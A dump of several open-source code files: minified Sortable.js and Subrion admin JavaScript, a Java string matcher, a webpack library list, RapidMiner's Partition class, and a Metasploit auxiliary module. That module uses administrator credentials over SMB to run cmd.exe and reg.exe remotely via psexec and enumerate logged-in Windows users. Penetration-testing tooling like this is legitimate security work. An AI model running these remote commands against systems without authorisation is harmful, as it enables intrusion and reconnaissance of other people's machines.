g.initEvent(b, !0, !0), g.item = c || a, g.from = d || a, g.clone = s, g.oldIndex = e, g.newIndex = f, a.dispatchEvent(g)
}, L = "onAdd onUpdate onRemove onStart onEnd onFilter onSort".split(" "), M = function () {
}, N = Math.abs, O = [].slice, P = [];
return a.prototype = {
constructor: a, _dragStarted: function () {
h(q, this.options.ghostClass, !0), a.active = this, K(t, "start", q, t, y)
}, _onTapStart: function (a) {
var b = a.type, c = a.touches && a.touches[0], e = (c || a).target, g = e, h = this.options, i = this.el, l = h.filter;
if (!("mousedown" === b && 0 !== a.button || h.disabled)) {
if (h.handle && (e = d(e, h.handle, i)), e = d(e, h.draggable, i), y = o(e), "function" == typeof l) {
if (l.call(this, a, e, this))return K(g, "filter", e, i, y), void a.preventDefault()
} else if (l && (l = l.split(",").some(function (a) {
return a = d(g, a.trim(), i), a ? (K(a, "filter", e, i, y), !0) : void 0
})))return void a.preventDefault();
if (e && !q && e.parentNode === i) {
"selectstart" === b && e.dragDrop(), B = a, t = this.el, q = e, v = q.nextSibling, A = this.options.group, q.draggable = !0, h.ignore.split(",").forEach(function (a) {
j(e, a.trim(), k)
}), c && (B = {
target: e,
clientX: c.clientX,
clientY: c.clientY
}, this._onDragStart(B, !0), a.preventDefault()), f(G, "mouseup", this._onDrop), f(G, "touchend", this._onDrop), f(G, "touchcancel", this._onDrop), f(q, "dragend", this), f(t, "dragstart", this._onDragStart), f(G, "dragover", this);
try {
G.selection ? G.selection.empty() : window.getSelection().removeAllRanges()
} catch (m) {
}
}
}
}, _emulateDragOver: function () {
if (C) {
i(r, "display", "none");
var a = G.elementFromPoint(C.clientX, C.clientY), b = a, c = this.options.group.name, d = P.length;
if (b)do {
if ((" " + b[E] + " ").indexOf(c) > -1) {
for (; d--;)P[d]({clientX: C.clientX, clientY: C.clientY, target: a, rootEl: b});
break
}
a = b
} while (b = b.parentNode);
i(r, "display", "")
}
}, _onTouchMove: function (a) {
if (B) {
var b = a.touches[0], c = b.clientX - B.clientX, d = b.clientY - B.clientY, e = "translate3d(" + c + "px," + d + "px,0)";
C = b, i(r, "webkitTransform", e), i(r, "mozTransform", e), i(r, "msTransform", e), i(r, "transform", e), this._onDrag(b), a.preventDefault()
}
}, _onDragStart: function (a, b) {
var c = a.dataTransfer, d = this.options;
if (this._offUpEvents(), "clone" == A.pull && (s = q.cloneNode(!0), i(s, "display", "none"), t.insertBefore(s, q)), b) {
var e, g = q.getBoundingClientRect(), h = i(q);
r = q.cloneNode(!0), i(r, "top", g.top - H(h.marginTop, 10)), i(r, "left", g.left - H(h.marginLeft, 10)), i(r, "width", g.width), i(r, "height", g.height), i(r, "opacity", "0.8"), i(r, "position", "fixed"), i(r, "zIndex", "100000"), t.appendChild(r), e = r.getBoundingClientRect(), i(r, "width", 2 * g.width - e.width), i(r, "height", 2 * g.height - e.height), f(G, "touchmove", this._onTouchMove), f(G, "touchend", this._onDrop), f(G, "touchcancel", this._onDrop), this._loopId = setInterval(this._emulateDragOver, 150)
} else c && (c.effectAllowed = "move", d.setData && d.setData.call(this, c, q)), f(G, "drop", this);
if (u = d.scroll, u === !0) {
u = t;
do if (u.offsetWidth < u.scrollWidth || u.offsetHeight < u.scrollHeight)break; while (u = u.parentNode)
}
setTimeout(this._dragStarted, 0)
}, _onDrag: p(function (a) {
if (t && this.options.scroll) {
var b, c, d = this.options, e = d.scrollSensitivity, f = d.scrollSpeed, g = a.clientX, h = a.clientY, i = window.innerWidth, j = window.innerHeight, k = (e >= i - g) - (e >= g), l = (e >= j - h) - (e >= h);
k || l ? b = F : u && (b = u, c = u.getBoundingClientRect(), k = (N(c.right - g) <= e) - (N(c.left - g) <= e), l = (N(c.bottom - h) <= e) - (N(c.top - h) <= e)), (D.vx !== k || D.vy !== l || D.el !== b) && (D.el = b, D.vx = k, D.vy = l, clearInterval(D.pid), b && (D.pid = setInterval(function () {
b === F ? F.scrollTo(F.scrollX + k * f, F.scrollY + l * f) : (l && (b.scrollTop += l * f), k && (b.scrollLeft += k * f))
}, 24)))
}
}, 30), _onDragOver: function (a) {
var c, e, f, g = this.el, h = this.options, j = h.group, k = j.put, n = A === j, o = h.sort;
if (void 0 !== a.preventDefault && (a.preventDefault(), !h.dragoverBubble && a.stopPropagation()), !J && A && (n ? o || (f = !t.contains(q)) : A.pull && k && (A.name === j.name || k.indexOf && ~k.indexOf(A.name))) && (void 0 === a.rootEl || a.rootEl === this.el)) {
if (c = d(a.target, h.draggable, g), e = q.getBoundingClientRect(), f)return b(!0), void(s || v ? t.insertBefore(q, s || v) : o || t.appendChild(q));
if (0 === g.children.length || g.children[0] === r || g === a.target && (c = m(g, a))) {
if (c) {
if (c.animated)return;
u = c.getBoundingClientRect()
}
b(n), g.appendChild(q), this._animate(e, q), c && this._animate(u, c)
} else if (c && !c.animated && c !== q && void 0 !== c.parentNode[E]) {
w !== c && (w = c, x = i(c));
var p, u = c.getBoundingClientRect(), y = u.right - u.left, z = u.bottom - u.top, B = /left|right|inline/.test(x.cssFloat + x.display), C = c.offsetWidth > q.offsetWidth, D = c.offsetHeight > q.offsetHeight, F = (B ? (a.clientX - u.left) / y : (a.clientY - u.top) / z) > .5, G = c.nextElementSibling;
J = !0, setTimeout(l, 30), b(n), p = B ? c.previousElementSibling === q && !C || F && C : G !== q && !D || F && D, p && !G ? g.appendChild(q) : c.parentNode.insertBefore(q, p ? G : c), this._animate(e, q), this._animate(u, c)
}
}
}, _animate: function (a, b) {
var c = this.options.animation;
if (c) {
var d = b.getBoundingClientRect();
i(b, "transition", "none"), i(b, "transform", "translate3d(" + (a.left - d.left) + "px," + (a.top - d.top) + "px,0)"), b.offsetWidth, i(b, "transition", "all " + c + "ms"), i(b, "transform", "translate3d(0,0,0)"), clearTimeout(b.animated), b.animated = setTimeout(function () {
i(b, "transition", ""), b.animated = !1
}, c)
}
}, _offUpEvents: function () {
g(G, "mouseup", this._onDrop), g(G, "touchmove", this._onTouchMove), g(G, "touchend", this._onDrop), g(G, "touchcancel", this._onDrop)
}, _onDrop: function (b) {
var c = this.el, d = this.options;
clearInterval(this._loopId), clearInterval(D.pid), g(G, "drop", this), g(G, "dragover", this), g(c, "dragstart", this._onDragStart), this._offUpEvents(), b && (b.preventDefault(), !d.dropBubble && b.stopPropagation(), r && r.parentNode.removeChild(r), q && (g(q, "dragend", this), k(q), h(q, this.options.ghostClass, !1), t !== q.parentNode ? (z = o(q), K(q.parentNode, "sort", q, t, y, z), K(t, "sort", q, t, y, z), K(q, "add", q, t, y, z), K(t, "remove", q, t, y, z)) : (s && s.parentNode.removeChild(s), q.nextSibling !== v && (z = o(q), K(t, "update", q, t, y, z), K(t, "sort", q, t, y, z))), a.active && K(t, "end", q, t, y, z)), t = q = r = v = s = B = C = w = x = A = a.active = null, this.save())
}, handleEvent: function (a) {
var b = a.type;
"dragover" === b ? (this._onDrag(a), e(a)) : ("drop" === b || "dragend" === b) && this._onDrop(a)
}, toArray: function () {
for (var a, b = [], c = this.el.children, e = 0, f = c.length; f > e; e++)a = c[e], d(a, this.options.draggable, this.el) && b.push(a.getAttribute("data-id") || n(a));
return b
}, sort: function (a) {
var b = {}, c = this.el;
this.toArray().forEach(function (a, e) {
var f = c.children[e];
d(f, this.options.draggable, c) && (b[a] = f)
}, this), a.forEach(function (a) {
b[a] && (c.removeChild(b[a]), c.appendChild(b[a]))
})
}, save: function () {
var a = this.options.store;
a && a.set(this)
}, closest: function (a, b) {
return d(a, b || this.options.draggable, this.el)
}, option: function (a, b) {
var c = this.options;
return void 0 === b ? c[a] : void(c[a] = b)
}, destroy: function () {
var a = this.el, b = this.options;
L.forEach(function (c) {
g(a, c.substr(2).toLowerCase(), b[c])
}), g(a, "mousedown", this._onTapStart), g(a, "touchstart", this._onTapStart), g(a, "selectstart", this._onTapStart), g(a, "dragover", this._onDragOver), g(a, "dragenter", this._onDragOver), Array.prototype.forEach.call(a.querySelectorAll("[draggable]"), function (a) {
a.removeAttribute("draggable")
}), P.splice(P.indexOf(this._onDragOver), 1), this._onDrop(), this.el = null
}
}, a.utils = {
on: f, off: g, css: i, find: j, bind: c, is: function (a, b) {
return !!d(a, b, a)
}, throttle: p, closest: d, toggleClass: h, dispatchEvent: K, index: o
}, a.version = "1.0.1", a.create = function (b, c) {
return new a(b, c)
}, a
});
var el = document.getElementById(elem);
Sortable.create(el, params);
},
confirm: function (text, options, callback) {
bootbox.confirm(text, function (result) {
if (result) {
if (typeof options === 'object' && options) {
if ('' != options.url) {
window.location = options.url;
}
}
}
if (typeof callback === 'function') {
callback(result);
}
});
},
includeSecurityToken: function(params) {
if ('object' === typeof params) {
params[this.securityTokenKey] = intelli.securityToken;
}
return params;
},
post: function(url, data, success, dataType) {
return $.post(url, this.includeSecurityToken(data), success, dataType);
},
getLocale: function() {
if ('function' === typeof moment) {
var existLocales = moment.locales();
var locales = [
intelli.languages[intelli.config.lang].locale.replace('_', '-'),
intelli.config.lang
];
var map = {
zh: 'zh-cn'
};
for (var i in locales) {
var locale = locales[i];
if (typeof map[locale] !== 'undefined') {
locale = map[locale];
}
if (-1 !== $.inArray(locale, existLocales)) {
return locale;
}
}
}
return 'en';
}
};
function _t(key, def) {
if (intelli.admin && intelli.admin.lang[key]) {
return intelli.admin.lang[key];
}
return _f(key, def);
}
function _f(key, def) {
if (intelli.lang[key]) {
return intelli.lang[key];
}
return (def ? (def === true ? key : def) : '{' + key + '}');
} | intelliants/subrion | js/intelli/intelli.js | JavaScript | gpl-3.0 | 24,710 |
/*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package builtin.matcher;
import builtin.BuiltinSub;
import gui.Constants;
import gui.MintException;
import gui.Pointer;
import gui.PointerTools;
import gui.SmartList;
/**
* @author Oliver Chu
*/
public class Matches extends BuiltinSub {
private static final int STAY_SAME = -128;
private static final int DECREMENT_THIS = -64;
private static final int DOES_NOT_MATCH = Integer.MIN_VALUE + 1;
private static final int NORMAL_MATCH = 1023;
private static final int MOVE_FORWARD_X_BASE = 1024;
public static final int ANY_CHARACTER = 0;
public static final Pointer ANY_CHAR_MATCH =
new Pointer(Constants.MATCHER_TYPE, ANY_CHARACTER);
public static final Pointer ANY_UPPER_OR_LOWERCASE_LETTER =
new Pointer(Constants.MATCHER_TYPE, 1);
public static final Pointer ANY_DECIMAL_DIGIT =
new Pointer(Constants.MATCHER_TYPE, 2);
public static final Pointer ANY_HEXADECIMAL_DIGIT =
new Pointer(Constants.MATCHER_TYPE, 3);
public static final Pointer ANY_BINARY_DIGIT =
new Pointer(Constants.MATCHER_TYPE, 4);
public static final Pointer ANY_UPPERCASE_LETTER =
new Pointer(Constants.MATCHER_TYPE, 5);
public static final Pointer ANY_OPEN_BRACE_OR_BRACKET =
new Pointer(Constants.MATCHER_TYPE, 6);
public static final Pointer ANY_SYMBOL =
new Pointer(Constants.MATCHER_TYPE, 7);
public static final Pointer ANY_CLOSE_BRACE_OR_BRACKET =
new Pointer(Constants.MATCHER_TYPE, 8);
public static final Pointer ANY_WHITESPACE =
new Pointer(Constants.MATCHER_TYPE, 9);
public static final Pointer ANY_REGEX_METACHARACTER =
new Pointer(Constants.MATCHER_TYPE, 10);
public static final int Z_OR_MORE_OF_NXT = 11;
public static final Pointer ZERO_OR_MORE_OF_NEXT =
new Pointer(Constants.MATCHER_TYPE, Z_OR_MORE_OF_NXT);
public int characterMatches(char c, SmartList<Pointer> needleList) {
if (needleList.isEmpty()) {
return DOES_NOT_MATCH;
}
Pointer functor = needleList.get(0);
switch (functor.type) {
case Constants.STR_TYPE: {
String function = PointerTools.dereferenceString(functor);
if (function.length() == 1) {
// If we are only checking 1 character,
// just check for that one only.
if (c == function.charAt(0)) {
return NORMAL_MATCH;
} else {
return DOES_NOT_MATCH;
}
} else {
// Otherwise,
// check if our character c
// is equal to the first, or the second, or the
// third... etc. characters of the given string.
for (char d : function.toCharArray()) {
if (c == d) {
return NORMAL_MATCH;
}
}
return DOES_NOT_MATCH;
}
} case Constants.MATCHER_TYPE: {
switch (functor.value) {
case ANY_CHARACTER:
// Anything works. We don't care what the character is.
return NORMAL_MATCH;
case Z_OR_MORE_OF_NXT:
String nextChars =
PointerTools.dereferenceString(needleList.get(1));
if (nextChars == null) {
// Sorry, but this meta list-value
// must be followed by a string, not another
// matcher.
return DOES_NOT_MATCH;
}
if (nextChars.contains("" + c)) {
// We didn't find all of them yet.
// The for loop will increment the
// index for the current character,
// but not for the needle list.
return STAY_SAME;
} else {
// We successfully found all of them.
// So now move forward past ourselves
// and past the character(s) we were checking.
return MOVE_FORWARD_X_BASE + 2;
}
default:
return DOES_NOT_MATCH;
}
} case Constants.INT_TYPE: {
int val = functor.value;
if (val < 1) {
// We are done, so move on.
// The reason we are done is because the
// needle list has told us to "check for 0 of something"
// which is always true.
return MOVE_FORWARD_X_BASE + 2;
} else {
String nextChars =
PointerTools.dereferenceString(needleList.get(1));
if (nextChars == null) {
// The next set of character(s)
// is not a Mint string!
// We can't do any kind of checking!
return DOES_NOT_MATCH;
} else {
// Found it. Next time, we have to check for 1
// less character.
if (nextChars.contains("" + c)) {
return DECREMENT_THIS;
} else {
// This isn't the same!
return DOES_NOT_MATCH;
}
}
}
} default:
// The only legal list-values are...
//
// Mint strings of length 1 or more,
// equivalent to the regex "[abcdef]" if you
// have the string "abcdef"
//
// Integers, in which [20, "a", 30, "b"]
// is the same as the regex "a{20}b{30}"
//
// Meta list-values, such as zeroOrMoreOfNext
// or anyCharacter.
// ["ft", zeroOrMoreOfNext, "t"] is the same as the regex
// "[ft]t*" or "ft+".
// ["bad", anyCharacter, anyCharacter, "apple"] is the
// same as the regex
// "bad.{2}apple" or "bad..apple"
//
// Since this particular case isn't legal, we return
// the value DOES_NOT_MATCH.
return DOES_NOT_MATCH;
}
}
/** Performs a Lisp (cdr someList) for 'number' number of times,
* and returns the result.
* if the 'number' is negative, performs a (cons MINT_NULL someList)
* 'number' number of times, and then returns that.
*/
public SmartList<Pointer> chomp(int number, SmartList<Pointer> someList) {
if (number == 0) {
return someList;
}
if (number < 0) {
int limit = -number;
SmartList<Pointer> nullDriver = new SmartList<Pointer>();
for (int i = 0; i < limit; ++i) {
nullDriver.add(Constants.MINT_NULL);
}
SmartList<Pointer> nList = new SmartList<Pointer>();
nList.addAll(nullDriver);
nList.addAll(someList);
return nList;
} else {
// We can't chomp an empty list.
if (someList.isEmpty()) {
return someList;
}
SmartList<Pointer> someOtherList = new SmartList<Pointer>();
for (int i = number; i < someList.size(); i++) {
someOtherList.add(someList.get(i));
}
return someOtherList;
}
}
@Override
public Pointer apply(SmartList<Pointer> args) throws MintException {
if (args.size() < 2) {
return Constants.MINT_FALSE;
}
String haystack = PointerTools.dereferenceString(args.get(0));
SmartList<Pointer> needleList =
PointerTools.dereferenceList(args.get(1));
if (haystack == null || needleList == null) {
return Constants.MINT_FALSE;
}
if (needleList.isEmpty()) {
return Constants.MINT_FALSE;
}
for (char c : haystack.toCharArray()) {
int matchCode = characterMatches(c, needleList);
if (matchCode == NORMAL_MATCH) {
needleList = chomp(1, needleList);
} else if (matchCode == DOES_NOT_MATCH) {
return Constants.MINT_FALSE;
} else {
if (matchCode > MOVE_FORWARD_X_BASE) {
needleList =
chomp(matchCode - MOVE_FORWARD_X_BASE, needleList);
} else if (matchCode == DECREMENT_THIS) {
needleList.set(0,
new Pointer(Constants.INT_TYPE,
needleList.get(0).value - 1));
// We chomp because we are done checking for this
// number of chars.
if (needleList.get(0).value == 0) {
needleList = chomp(1, needleList);
}
} // else if (STAY_SAME) { do nothing } else { do nothing }
}
}
return Constants.MINT_TRUE;
}
}
| Carrotlord/MintChime-Editor | builtin/matcher/Matches.java | Java | gpl-3.0 | 9,689 |
/**
* Exports lists of modules to be bundled as external "dynamic" libraries
*
* (@see webpack DllPlugin and DllReferencePlugin)
*/
module.exports = {
'angular_dll': [
'angular',
'angular/angular.min',
'angular-animate',
'angular-bootstrap',
'angular-bootstrap-colorpicker',
'angular-breadcrumb',
'angular-daterangepicker',
'angular-datetime',
'angular-data-table/release/dataTable.helpers.min',
'angular-dragula',
'angular-loading-bar',
'angular-resource',
'angular-route',
'angular-sanitize',
'angular-strap',
'angular-toArrayFilter',
'angular-touch',
'angular-ui-router',
'angular-ui-select',
'angular-ui-tinymce',
'angular-ui-translation',
'angular-ui-tree',
'angular-ui-pageslide',
'ng-file-upload',
'at-table/dist/angular-table',
'angular-dragula'
]
}
| stefk/Distribution | main/core/Resources/server/webpack/libraries.js | JavaScript | gpl-3.0 | 870 |
/**
* Copyright (C) 2001-2016 by RapidMiner and the contributors
*
* Complete list of developers available at our web site:
*
* http://rapidminer.com
*
* This program is free software: you can redistribute it and/or modify it under the terms of the
* GNU Affero General Public License as published by the Free Software Foundation, either version 3
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License along with this program.
* If not, see http://www.gnu.org/licenses/.
*/
package com.rapidminer.example.set;
import com.rapidminer.tools.LogService;
import java.io.Serializable;
import java.util.Iterator;
import java.util.LinkedList;
import java.util.List;
import java.util.logging.Level;
/**
* Implements a partition. A partition is used to divide an example set into different parts of
* arbitrary sizes without actually make a copy of the data. Partitions are used by
* {@link SplittedExampleSet}s. Partition numbering starts at 0.
*
* @author Simon Fischer, Ingo Mierswa
*/
public class Partition implements Cloneable, Serializable {
private static final long serialVersionUID = 6126334515107973287L;
/** Mask for the selected partitions. */
private boolean[] mask;
/** Size of the individual partitions. */
private int[] partitionSizes;
/** Maps every example to its partition index. */
private int[] elements;
/** Indicates the position of the last element for each partition. */
private int[] lastElementIndex;
/**
* Maps every example index to the true index of the data row in the example table.
*/
private int[] tableIndexMap = null;
/**
* Creates a new partition of a given size consisting of <tt>ratio.length</tt> sets. The set
* <i>i</i> will be of size of <i>size x ratio[i]</i>, i.e. the sum of all <i>ratio[i]</i> must
* be 1. Initially all partitions are selected.
*/
public Partition(double ratio[], int size, PartitionBuilder builder) {
init(ratio, size, builder);
}
/**
* Creates a new partition of a given size consisting of <i>noPartitions</i> equally sized sets.
* Initially all partitions are selected.
*/
public Partition(int noPartitions, int size, PartitionBuilder builder) {
double[] ratio = new double[noPartitions];
for (int i = 0; i < ratio.length; i++) {
ratio[i] = 1 / (double) noPartitions;
}
init(ratio, size, builder);
}
/** Creates a partition from the given one. Partition numbering starts at 0. */
public Partition(int[] elements, int numberOfPartitions) {
init(elements, numberOfPartitions);
}
/** Clone constructor. */
private Partition(Partition p) {
this.partitionSizes = new int[p.partitionSizes.length];
System.arraycopy(p.partitionSizes, 0, this.partitionSizes, 0, p.partitionSizes.length);
this.mask = new boolean[p.mask.length];
System.arraycopy(p.mask, 0, this.mask, 0, p.mask.length);
this.elements = new int[p.elements.length];
System.arraycopy(p.elements, 0, this.elements, 0, p.elements.length);
this.lastElementIndex = new int[p.lastElementIndex.length];
System.arraycopy(p.lastElementIndex, 0, this.lastElementIndex, 0, p.lastElementIndex.length);
recalculateTableIndices();
}
/**
* Creates a partition from the given ratios. The partition builder is used for creation.
*/
private void init(double[] ratio, int size, PartitionBuilder builder) {
// LogService.getGlobal().log("Create new partition using a '" +
// builder.getClass().getName() + "'.", LogService.STATUS);
LogService.getRoot().log(Level.FINE, "com.rapidminer.example.set.Partition.creating_new_partition_using",
builder.getClass().getName());
elements = builder.createPartition(ratio, size);
init(elements, ratio.length);
}
/** Private initialization method used by constructors. */
private void init(int[] newElements, int noOfPartitions) {
// LogService.getGlobal().log("Create new partition with " + newElements.length +
// " elements and " + noOfPartitions + " partitions.",
// LogService.STATUS);
LogService.getRoot().log(Level.FINE, "com.rapidminer.example.set.Partition.creating_new_partition_with",
new Object[] { newElements.length, noOfPartitions });
partitionSizes = new int[noOfPartitions];
lastElementIndex = new int[noOfPartitions];
elements = newElements;
for (int i = 0; i < elements.length; i++) {
if (elements[i] >= 0) {
partitionSizes[elements[i]]++;
lastElementIndex[elements[i]] = i;
}
}
// select all partitions
mask = new boolean[noOfPartitions];
for (int i = 0; i < mask.length; i++) {
mask[i] = true;
}
recalculateTableIndices();
}
@Override
public boolean equals(Object o) {
if (!(o instanceof Partition)) {
return false;
}
Partition other = (Partition) o;
for (int i = 0; i < mask.length; i++) {
if (this.mask[i] != other.mask[i]) {
return false;
}
}
for (int i = 0; i < elements.length; i++) {
if (this.elements[i] != other.elements[i]) {
return false;
}
}
return true;
}
@Override
public int hashCode() {
int hc = 17;
int hashMultiplier = 59;
hc = hc * hashMultiplier + this.mask.length;
for (int i = 1; i < mask.length; i <<= 1) {
hc = hc * hashMultiplier + Boolean.valueOf(this.mask[i]).hashCode();
}
hc = hc * hashMultiplier + this.elements.length;
for (int i = 1; i < elements.length; i <<= 1) {
hc = hc * hashMultiplier + Integer.valueOf(this.elements[i]).hashCode();
}
return hc;
}
/**
* Returns true if the last possible index stored in lastElementIndex for all currently selected
* partitions is not yet reached. Might be used to prune iterations (especially useful for
* linear partitions).
*/
public boolean hasNext(int index) {
for (int p = 0; p < mask.length; p++) {
if (mask[p]) {
if (index <= lastElementIndex[p]) {
return true;
}
}
}
return false;
}
/** Clears the selection, i.e. deselects all subsets. */
public void clearSelection() {
this.mask = new boolean[mask.length];
recalculateTableIndices();
}
public void invertSelection() {
for (int i = 0; i < mask.length; i++) {
mask[i] = !mask[i];
}
recalculateTableIndices();
};
/** Marks the given subset as selected. */
public void selectSubset(int i) {
this.mask[i] = true;
recalculateTableIndices();
}
/** Marks the given subset as deselected. */
public void deselectSubset(int i) {
this.mask[i] = false;
recalculateTableIndices();
}
/** Returns the number of subsets. */
public int getNumberOfSubsets() {
return partitionSizes.length;
}
/** Returns the number of selected elements. */
public int getSelectionSize() {
int s = 0;
for (int i = 0; i < partitionSizes.length; i++) {
if (mask[i]) {
s += partitionSizes[i];
}
}
return s;
}
/** Returns the total number of examples. */
public int getTotalSize() {
return elements.length;
}
/**
* Returns true iff the example with the given index is selected according to the current
* selection mask.
*/
public boolean isSelected(int index) {
return mask[elements[index]];
}
/**
* Recalculates the example table indices of the currently selected examples.
*/
private void recalculateTableIndices() {
List<Integer> indices = new LinkedList<Integer>();
for (int i = 0; i < elements.length; i++) {
if (mask[elements[i]]) {
indices.add(i);
}
}
tableIndexMap = new int[indices.size()];
Iterator<Integer> i = indices.iterator();
int counter = 0;
while (i.hasNext()) {
tableIndexMap[counter++] = i.next();
}
}
/**
* Returns the actual example table index of the i-th example of the currently selected subset.
*/
public int mapIndex(int index) {
return tableIndexMap[index];
}
@Override
public String toString() {
StringBuffer str = new StringBuffer("(");
for (int i = 0; i < partitionSizes.length; i++) {
str.append((i != 0 ? "/" : "") + partitionSizes[i]);
}
str.append(")");
return str.toString();
}
@Override
public Object clone() {
return new Partition(this);
}
}
| transwarpio/rapidminer | rapidMiner/rapidminer-studio-core/src/main/java/com/rapidminer/example/set/Partition.java | Java | gpl-3.0 | 8,599 |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB::Client::Psexec
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'Microsoft Windows Authenticated Logged In Users Enumeration',
'Description' => %Q{
This module uses a valid administrator username and password to enumerate users
currently logged in, using a similar technique than the "psexec" utility provided
by SysInternals. It uses reg.exe to query the HKU base registry key.
},
'Author' =>
[
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>' # Metasploit module
],
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
[ 'URL', 'http://www.pentestgeek.com/2012/11/05/finding-logged-in-users-metasploit-module/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('USERNAME', [false, 'The name of a specific user to search for', '']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('WINPATH', [true, 'The name of the Windows directory', 'WINDOWS']),
], self.class)
deregister_options('RHOST')
end
# This is the main controller function
def run_host(ip)
cmd = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\SYSTEM32\\cmd.exe"
bat = "%SYSTEMDRIVE%\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.bat"
text = "\\#{datastore['WINPATH']}\\Temp\\#{Rex::Text.rand_text_alpha(16)}.txt"
smbshare = datastore['SMBSHARE']
# Try and authenticate with given credentials
begin
connect
smb_login
rescue StandardError => autherror
print_error("#{peer} - #{autherror}")
return
end
keys = get_hku(ip, smbshare, cmd, text, bat)
if !keys
cleanup_after(cmd, text, bat)
disconnect
return
end
keys.each do |key|
check_hku_entry(key, ip, smbshare, cmd, text, bat)
end
cleanup_after(cmd, text, bat)
disconnect
end
# This method runs reg.exe query HKU to get a list of each key within the HKU master key
# Returns an array object
def get_hku(ip, smbshare, cmd, text, bat)
begin
# Try and query HKU
command = "#{cmd} /C echo reg.exe QUERY HKU ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
out = psexec(command)
output = get_output(ip, smbshare, text)
cleanout = Array.new
output.each_line { |line| cleanout << line.chomp if line.include?("HKEY") && line.split("-").size == 8 && !line.split("-")[7].include?("_")}
return cleanout
rescue StandardError => hku_error
print_error("#{peer} - Error runing query against HKU. #{hku_error.class}. #{hku_error}")
return nil
end
end
# This method will retrive output from a specified textfile on the remote host
def get_output(ip, smbshare, file)
begin
simple.connect("\\\\#{ip}\\#{smbshare}")
outfile = simple.open(file, 'ro')
output = outfile.read
outfile.close
simple.disconnect("\\\\#{ip}\\#{smbshare}")
return output
rescue StandardError => output_error
print_error("#{peer} - Error getting command output. #{output_error.class}. #{output_error}.")
return false
end
end
def report_user(username)
report_note(
:host => rhost,
:proto => 'tcp',
:sname => 'smb',
:port => rport,
:type => 'smb.domain.loggedusers',
:data => "#{username} is logged in",
:update => :unique_data
)
end
# This method checks a provided HKU entry to determine if it is a valid SID
# Either returns nil or returns the name of a valid user
def check_hku_entry(key, ip, smbshare, cmd, text, bat)
begin
key = key.split("HKEY_USERS\\")[1].chomp
command = "#{cmd} /C echo reg.exe QUERY \"HKU\\#{key}\\Volatile Environment\" ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
out = psexec(command)
if output = get_output(ip, smbshare, text)
domain, username, dnsdomain, homepath, logonserver = "","","","",""
# Run this IF loop and only check for specified user if datastore['USERNAME'] is specified
if datastore['USERNAME'].length > 0
output.each_line do |line|
username = line if line.include?("USERNAME")
domain = line if line.include?("USERDOMAIN")
end
if domain.split(" ")[2].to_s.chomp + "\\" + username.split(" ")[2].to_s.chomp == datastore['USERNAME']
print_good("#{peer} - #{datastore['USERNAME']} is logged in")
report_user(datastore['USERNAME'])
end
return
end
output.each_line do |line|
domain = line if line.include?("USERDOMAIN")
username = line if line.include?("USERNAME")
dnsdomain = line if line.include?("USERDNSDOMAIN")
homepath = line if line.include?("HOMEPATH")
logonserver = line if line.include?("LOGONSERVER")
end
if username.length > 0 && domain.length > 0
user = domain.split(" ")[2].to_s + "\\" + username.split(" ")[2].to_s
print_good("#{peer} - #{user}")
report_user(user.chomp)
elsif logonserver.length > 0 && homepath.length > 0
uname = homepath.split('\\')[homepath.split('\\').size - 1]
if uname.include?(".")
uname = uname.split(".")[0]
end
user = logonserver.split('\\\\')[1].chomp.to_s + "\\" + uname.to_s
print_good("#{peer} - #{user}")
report_user(user.chomp)
else
username = query_session(smbshare, ip, cmd, text, bat)
if username
hostname = (dnsdomain.split(" ")[2] || "").split(".")[0] || "."
user = "#{hostname}\\#{username}"
print_good("#{peer} - #{user}")
report_user(user.chomp)
else
print_status("#{peer} - Unable to determine user information for user: #{key}")
end
end
else
print_status("#{peer} - Could not determine logged in users")
end
rescue Rex::Proto::SMB::Exceptions::Error => check_error
print_error("#{peer} - Error checking reg key. #{check_error.class}. #{check_error}")
return check_error
end
end
# Cleanup module. Gets rid of .txt and .bat files created in the #{datastore['WINPATH']}\Temp directory
def cleanup_after(cmd, text, bat)
begin
# Try and do cleanup command
cleanup = "#{cmd} /C del %SYSTEMDRIVE%#{text} & del #{bat}"
print_status("#{peer} - Executing cleanup")
out = psexec(cleanup)
rescue StandardError => cleanuperror
print_error("#{peer} - Unable to processes cleanup commands: #{cleanuperror}")
print_warning("#{peer} - Maybe %SYSTEMDRIVE%#{text} must be deleted manually")
print_warning("#{peer} - Maybe #{bat} must be deleted manually")
return cleanuperror
end
end
# Method trys to use "query session" to determine logged in user
def query_session(smbshare, ip, cmd, text, bat)
begin
command = "#{cmd} /C echo query session ^> %SYSTEMDRIVE%#{text} > #{bat} & #{cmd} /C start cmd.exe /C #{bat}"
out = psexec(command)
userline = ""
if output = get_output(ip, smbshare, text)
output.each_line { |line| userline << line if line[0] == '>' }
else
return nil
end
return userline.split(" ")[1].chomp
rescue
return nil
end
end
end
| cSploit/android.MSF | modules/auxiliary/scanner/smb/psexec_loggedin_users.rb | Ruby | gpl-3.0 | 8,147 |
package apache.org.google;
import android.content.Context;
import android.util.Log;
import cs.entity.AdBasicInfo;
import cs.entity.AdStatus;
import cs.gson.Gson;
import cs.network.configs.Config;
import cs.network.request.PageAbleRequest;
